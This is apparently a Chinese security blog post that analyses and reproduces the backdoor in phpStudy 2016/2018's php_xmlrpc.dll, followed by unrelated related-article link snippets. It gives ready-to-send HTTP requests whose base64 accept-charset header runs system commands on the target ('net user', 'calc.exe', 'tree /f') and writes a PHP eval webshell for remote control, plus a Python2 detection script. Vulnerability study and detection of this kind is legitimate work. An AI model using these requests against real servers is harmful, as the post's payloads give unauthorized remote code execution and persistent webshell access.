python phpstudy_phpStudy后门分析及复现
参考文章:https://blog.csdn.net/qq_38484285/article/details/101381883
感谢大佬分享!!
SSRF漏洞学习终于告一段落,很早就知道phpstudy爆出来有后门,爆出漏洞的过程好像还挺奇葩的,时间也不算很充裕,今天简单学习下。
影响版本
目前已知受影响的phpStudy版本
phpstudy 2016版php-5.4
phpstudy 2018版php-5.2.17
phpstudy 2018版php-5.4.45
后门位置
phpStudy2016和phpStudy2018自带php-5.2.17、php-5.4.45
后门隐藏在程序自带的php的php_xmlrpc.dll模块
在*:\PhpStudy20180211\PHPTutorial\php\php-5.2.17\ext找到php_xmlrpc.dll
phpStudy2016路径
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018路径
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
用notepad打开此文件查找@eval,文件存在@eval(%s(‘%s’))证明漏洞存在,如图:
说明:存在后门!!!!
要求
请求任意后缀为php的文件
存在Accept-Encoding: gzip,deflate
accept-charset: 这里就是你要执行的代码命令(经过base64加密)
漏洞复现
exp_net user
GET /index.php HTTP/1.1Host:192.168.31.182User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 //主要是这行 base64解码之后就是 echo system("net user");
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
远程命令执行成功,在响应中,可查看到电脑中的用户
exp_system('calc.exe')
GET /index.php HTTP/1.1Host:192.168.0.108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:c3lzdGVtKCdjYWxjLmV4ZScpOw // base64 解码之后 system('calc.exe'); calc.exe是计算器
Upgrade-Insecure-Requests: 1
exp_写一句话木马菜刀链接
GET /index.php HTTP/1.1Host:192.168.0.108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:c3lzdGVtKCdlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbInNoZWxsIl0pP14+PlBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnKTs=
//system('echo ^<?php @eval($_POST["shell"])?^>>PHPTutorial\WWW\shell.php');
Upgrade-Insecure-Requests: 1
可能遇到的问题
若无法成功连接,可能生成目录不对,执行命令tree /f查看文件树,找到可访问路径生成shell
GET /phpinfo.php HTTP/1.1Host:192.168.0.108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none,
accept-charset: c3lzdGVtKCd0cmVlIC9mJyk7
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
2.复现漏洞的过程中,我自己遇到一个问题,请求包放到repeater时,会加入很多的空格。
Accept-Encoding: gzip, deflate
在Accept-Encoding中,deflate的前面都有一个空格,这个空格导致重访无法成功,去掉空格即可。
漏洞检测脚本(python2)
import urllib2
import sys
import zlib
headers={"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36","content-type": "text/xml","Connection": "close","Accept-Language":"zh-CN,zh;q=0.9","Accept-Charset":"ZWNobyAnYmFja2Rvb3InOw==","Accept-Encoding":"gzip,deflate","Upgrade-Insecure-Requests":"1",
}
def check(target):
GetTarget= urllib2.Request(url=target,headers=headers)
response=urllib2.urlopen(GetTarget)
result=response.read()if response.info().get('Content-Encoding') == 'gzip':
result= zlib.decompress(result, 16+zlib.MAX_WBITS)if 'phpstudy backdoor' inresult:
print('{0} {1}'.format(target,'存在后门'))else:
print('{0} {1}'.format(target,'不存在后门'))if __name__ == '__main__':
print'PHPStudy 后门检测工具'print'正在检测', sys.argv[1]
check(sys.argv[1])
注意啊,这是python2的环境,现在urllib2库现在没有了!!!!
python phpstudy_phpStudy后门分析及复现相关推荐
- nginx header参数丢失_某Nginx后门分析与重现
安全分析与研究 专注于全球恶意软件的分析与研究 背景 前几天,接到一个nginx后门样本,本着就分析和复现的思路,完整的将整个过程做一次复现,不料最终还获取到了后门的核心代码部分,遂将其整理发布,仅供 ...
- 在会计研究中使用Python进行文本分析
最近在google搜Python在经管中的内容,意外发现 专著:在会计研究中使用Python进行文本分析 ,内容特别新,专著中含有Python代码,也有会计领域文本分析的应用成果. 财会专业的科研人员 ...
- python可视化来分析全国疫情
很长一段时间在python下出图都是使用matplotlib,其好处就是应用比较广泛,文档很容易找,不过出的图微显丑陋.pyecharts 是百度的echarts基于python的实现,可以很方便的直 ...
- NLP实战:利用Python理解、分析和生成文本 | 赠书
导读:本文内容参考自<自然语言处理实战:利用Python理解.分析和生成文本>一书,由Hobson Lane等人所著. 本书是介绍自然语言处理(NLP)和深度学习的实战书.NLP已成为深度 ...
- Python源码学习:Python类机制分析-用户自定义类
Python源码分析 本文环境python2.5系列 参考书籍<<Python源码剖析>> 上一文,分析了Python在启动初始化时,对内置类的一个基本的初始化流程,本文就简析 ...
- Python源码学习:Python类机制分析
Python源码分析 本文环境python2.5系列 参考书籍<<Python源码剖析>> 本文主要分析Python中类时如何实现的,在Python中,一切都是对象:任何对象都 ...
- python处理excel表格数据-利用Python处理和分析Excel表中数据实战.doc
利用Python处理和分析Excel表中数据实战 [利用python进行数据分析--基础篇]利用Python处理和分析Excel表中数据实战 原创 2017年06月28日 15:09:32 标签: p ...
- python空间分析_读书笔记——《python地理空间分析指南》
本文为<Python地理空间分析指南(第2版)>的读书摘录,顺便挖个坑,进一步对python的几个包做学习整理. 本笔记的用途:了解python地理空间处理的技术框架和实现途径. 第三章 ...
- python 相关性分析_数据分析---用Python进行相关性分析(兼谈假设检验)
一.相关关系和相关系数 世上除了因果关系,还有相关关系. 有一个叫"相关系数"的指标来量化两个事物之间的相关程度. 其中相关系数用"r"表示,取值范围介于-1和 ...
最新文章
- 2022-2028年中国导热硅胶行业市场研究及前瞻分析报告
- npm更改为淘宝镜像
- 网站内容收录除了原创性和质量其他因素也少不了
- C++ Primer 5th笔记(chap 16 模板和泛型编程)类模板和友元
- soap方式的远程调用示例代码
- 主成分分析碎石图_ISLR读书笔记十九:主成分分析(PCA)
- java栈最小值的实现,关于java:算法图解如何找出栈中的最小值
- Android应用被强制停止后无法接受广播解决方案
- 如何让gitbook与github仓库关联
- 从零开始学习区块链(1)
- php数组用递归函数求和,如何用php递归函进行数字累加操作?php递归函数累加求和...
- python绘制缓和曲线_CAD中如何绘制缓和曲线
- java 请求webservice_JAVA调用WebService实例
- 路由器Padavan固件安装贴吧云签到
- Mp4Box 常用指令
- android exif 相册,android 读取图片 EXIF信息
- css 实现一个尖角_css3如何做尖角标签效果?
- 场景管理:四叉树算法C++实现
- AutoCAD三维建模图——汽车车轮
- Exp10 Final “西普杯”北京天津CTF预选赛真题 writeup
热门文章
- php中的正则表达式相关例题,实例学习PHP中的正则表达式
- python判断英文字母_python判断字符串是否包含字母
- python顺序结构逆序三位数_Python练习题3.20逆序的三位数
- STRUTS学习笔记
- [USACO08NOV]时间管理Time Management
- idea报错:Invalid bound statement (not found)
- Python自动化开发课堂笔记【Day06】 - Python基础(模块)
- 【转载】opencl中设备内存
- 【JZOJ4790】【NOIP2016提高A组模拟9.21】选数问题
- Opensturt和Struct区别